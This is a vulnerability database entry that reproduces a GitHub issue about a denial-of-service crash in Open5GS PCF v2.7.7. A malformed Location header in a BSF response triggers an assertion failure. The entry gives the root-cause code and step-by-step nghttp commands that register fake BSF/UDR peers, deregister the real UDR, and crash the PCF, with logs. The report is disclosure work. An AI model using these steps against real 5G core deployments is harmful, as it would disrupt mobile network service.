| शीर्षक | Open5gs PCF v2.7.7 Denial of Service |
|---|
| विवरण | ### Open5GS Release, Revision, or Tag
v2.7.7
### Steps to reproduce
### Description
PCF aborts while processing the `NBSF_MANAGEMENT` registration response that is
triggered from `POST /npcf-smpolicycontrol/v1/sm-policies`.
The vulnerable handler is `pcf_nbsf_management_handle_register()` in
`src/pcf/nbsf-handler.c`. It initializes `status = 0`, then jumps to
`cleanup:` on several malformed BSF response paths without assigning an HTTP
status first:
- `ogs_sbi_parse_header()` failure for `recvmsg->http.location`
- parsed URI missing `resource.component[1]` (`bindingId`)
- `ogs_sbi_getaddr_from_uri()` failure on the returned `Location`
- `ogs_sbi_client_add()` failure after parsing the returned `Location`
`cleanup:` then executes:
```c
ogs_assert(strerror);
ogs_assert(status);
```
So a malicious BSF can kill PCF by returning `201 Created` with a malformed
`Location` header. In the live repro below, the only malicious change was to
remove `{bindingId}` from:
```text
http://10.33.33.1:18080/nbsf-management/v1/pcfBindings/{bindingId}
```
This is distinct from the existing delayed-discovery crash report under
`report/pcf/npcf-smpolicycontrol-delayed-bsf-discovery-response-after-client-disconnect-assert-segfault.md`:
- different crash site: `src/pcf/nbsf-handler.c:139` vs `src/pcf/nnrf-handler.c:96`
- different trust boundary: malformed BSF response vs late NRF discovery result
- different root cause: uninitialized cleanup status vs stale stream assertion
### Root cause
Relevant code in `src/pcf/nbsf-handler.c`:
```c
int rv, status = 0;
...
rv = ogs_sbi_parse_header(&message, &header);
if (rv != OGS_OK) {
strerror = ogs_msprintf("[%s:%d] Cannot parse http.location [%s]",
pcf_ue_sm->supi, sess->psi, recvmsg->http.location);
goto cleanup;
}
if (!message.h.resource.component[1]) {
strerror = ogs_msprintf("[%s:%d] No Binding ID [%s]",
pcf_ue_sm->supi, sess->psi, recvmsg->http.location);
ogs_sbi_header_free(&header);
goto cleanup;
}
...
cleanup:
ogs_assert(strerror);
ogs_assert(status);
```
The attacker controls `recvmsg->http.location` through the BSF `201 Created`
response. When the `Location` is malformed but still reaches one of the above
branches, `status` is still zero and the assertion aborts the PCF process.
### Steps to reproduce
This live validation used the existing Docker lab and two fake peer services on
the host at `10.33.33.1:18080`:
- fake UDR: returns minimal valid `SmPolicyData` so the home-path request
proceeds to BSF in this lab
- fake BSF: returns `201 Created` and echoes the incoming `PcfBinding` JSON,
while switching only the `Location` header between control and malicious modes
The home-path bridge via fake UDR was only needed because this PCF instance had
no serving PLMN configured, so `ogs_sbi_supi_in_vplmn()` never took the direct
VPLMN-to-BSF branch. The crash itself is in BSF response handling.
1. Start a cleartext HTTP/2 fake UDR/BSF on the host, reachable from the PCF
container at `10.33.33.1:18080`.
2. Register a fake BSF NF instance through the PCF callback:
```bash
IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' pcf)
cat >/tmp/fake_bsf_notify.json <<'EOF'
{"event":"NF_REGISTERED","nfInstanceUri":"http://fake-bsf-loc.open5gs.org/nnrf-nfm/v1/nf-instances/fake-bsf-loc","nfProfile":{"nfInstanceId":"fake-bsf-loc","nfType":"BSF","nfStatus":"REGISTERED","nfServices":[{"serviceInstanceId":"fake-bsf-svc","serviceName":"nbsf-management","versions":[{"apiVersionInUri":"v1","apiFullVersion":"1.0.0"}],"scheme":"http","nfServiceStatus":"REGISTERED","ipEndPoints":[{"ipv4Address":"10.33.33.1","port":18080}]}]}}
EOF
nghttp -v -H':method: POST' -H'content-type: application/json' \
-d /tmp/fake_bsf_notify.json \
"http://$IP/nnrf-nfm/v1/nf-status-notify"
```
3. Register a fake UDR NF instance the same way, pointing `nudr-dr` to the
same host endpoint:
```bash
cat >/tmp/fake_udr_notify.json <<'EOF'
{"event":"NF_REGISTERED","nfInstanceUri":"http://fake-udr-loc.open5gs.org/nnrf-nfm/v1/nf-instances/fake-udr-loc","nfProfile":{"nfInstanceId":"fake-udr-loc","nfType":"UDR","nfStatus":"REGISTERED","nfServices":[{"serviceInstanceId":"fake-udr-svc","serviceName":"nudr-dr","versions":[{"apiVersionInUri":"v1","apiFullVersion":"1.0.0"}],"scheme":"http","nfServiceStatus":"REGISTERED","ipEndPoints":[{"ipv4Address":"10.33.33.1","port":18080}]}]}}
EOF
nghttp -v -H':method: POST' -H'content-type: application/json' \
-d /tmp/fake_udr_notify.json \
"http://$IP/nnrf-nfm/v1/nf-status-notify"
```
4. Deregister the real UDR from the PCF cache so discovery resolves to the fake
UDR in this lab:
```bash
REAL_UDR_ID=$(docker logs pcf 2>&1 | \
rg -o '\[[0-9a-f-]{36}\] \(NRF-profile-get\) NF registered' | \
tail -n 1 | sed -E 's/^\[([^]]+)\].*/\1/')
cat >/tmp/real_udr_deregister.json <<EOF
{"event":"NF_DEREGISTERED","nfInstanceUri":"http://udr.open5gs.org/nnrf-nfm/v1/nf-instances/$REAL_UDR_ID"}
EOF
nghttp -v -H':method: POST' -H'content-type: application/json' \
-d /tmp/real_udr_deregister.json \
"http://$IP/nnrf-nfm/v1/nf-status-notify"
```
5. Send the SM Policy Association request:
```bash
cat >/tmp/sm_policy_req.json <<'EOF'
{"supi":"imsi-999700123456789","pduSessionId":1,"pduSessionType":"IPV4","dnn":"internet","notificationUri":"http://smf.open5gs.org/nsmf-callback/v1/sm-policies/notify","ipv4Address":"10.45.0.2","sliceInfo":{"sst":1,"sd":"010203"}}
EOF
```
6. Control case: fake BSF returns
`Location: http://10.33.33.1:18080/nbsf-management/v1/pcfBindings/binding-ok`
and echoes the incoming `PcfBinding` JSON body.
```bash
printf control >/tmp/bsf_mode
nghttp -v -H':method: POST' -H'content-type: application/json' \
-d /tmp/sm_policy_req.json \
"http://$IP/npcf-smpolicycontrol/v1/sm-policies"
```
7. Malicious case: keep the same `201 Created` status and same JSON body, but
remove only `{bindingId}` from the BSF `Location` header:
```text
http://10.33.33.1:18080/nbsf-management/v1/pcfBindings
```
```bash
printf crash >/tmp/bsf_mode
nghttp -v -H':method: POST' -H'content-type: application/json' \
-d /tmp/sm_policy_req.json \
"http://$IP/npcf-smpolicycontrol/v1/sm-policies"
```
### Logs
```shell
Control case:
[fake server] GET /nudr-dr/v1/policy-data/ues/imsi-999700123456789/sm-data?...
[fake server] POST /nbsf-management/v1/pcfBindings
HTTP/2 404
{"title":"[imsi-999700123456789:1] Cannot find SUPI in DB","status":404}
PCF did not restart in the control case.
Malicious case:
[fake server] GET /nudr-dr/v1/policy-data/ues/imsi-999700123456789/sm-data?...
[fake server] POST /nbsf-management/v1/pcfBindings
Client-visible failure:
Some requests were not processed. total=1, processed=0
PCF logs:
04/11 17:39:26.379: [pcf] FATAL: pcf_nbsf_management_handle_register: Assertion `status' failed. (../src/pcf/nbsf-handler.c:139)
04/11 17:39:26.383: [core] FATAL: backtrace() returned 10 addresses
Container state after the malicious request:
running=true restart=2 started=2026-04-11T17:39:26.665849472Z finished=2026-04-11T17:39:26.642113694Z
```
### Expected behaviour
PCF should reject malformed BSF `Location` headers with a normal `4xx/5xx` response instead of aborting the process.
### Observed Behaviour
An immediate malformed BSF register response reaches `cleanup:` with `status == 0`, triggers `ogs_assert(status)`, and restarts the PCF container.
### eNodeB/gNodeB
Not required.
### UE Models and versions
Not required. |
|---|
| स्रोत | ⚠️ https://github.com/open5gs/open5gs/issues/4437 |
|---|
| उपयोगकर्ता | LinZiyu (UID 94035) |
|---|
| सबमिशन | 20/04/2026 08:17 PM (1 महीना पहले) |
|---|
| संयम | 09/05/2026 09:35 AM (19 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 362439 [Open5GS तक 2.7.7 sm-policies Endpoint src/pcf/nbsf-handler.c pcf_nbsf_management_handle_register सेवा अस्वीकार] |
|---|
| अंक | 20 |
|---|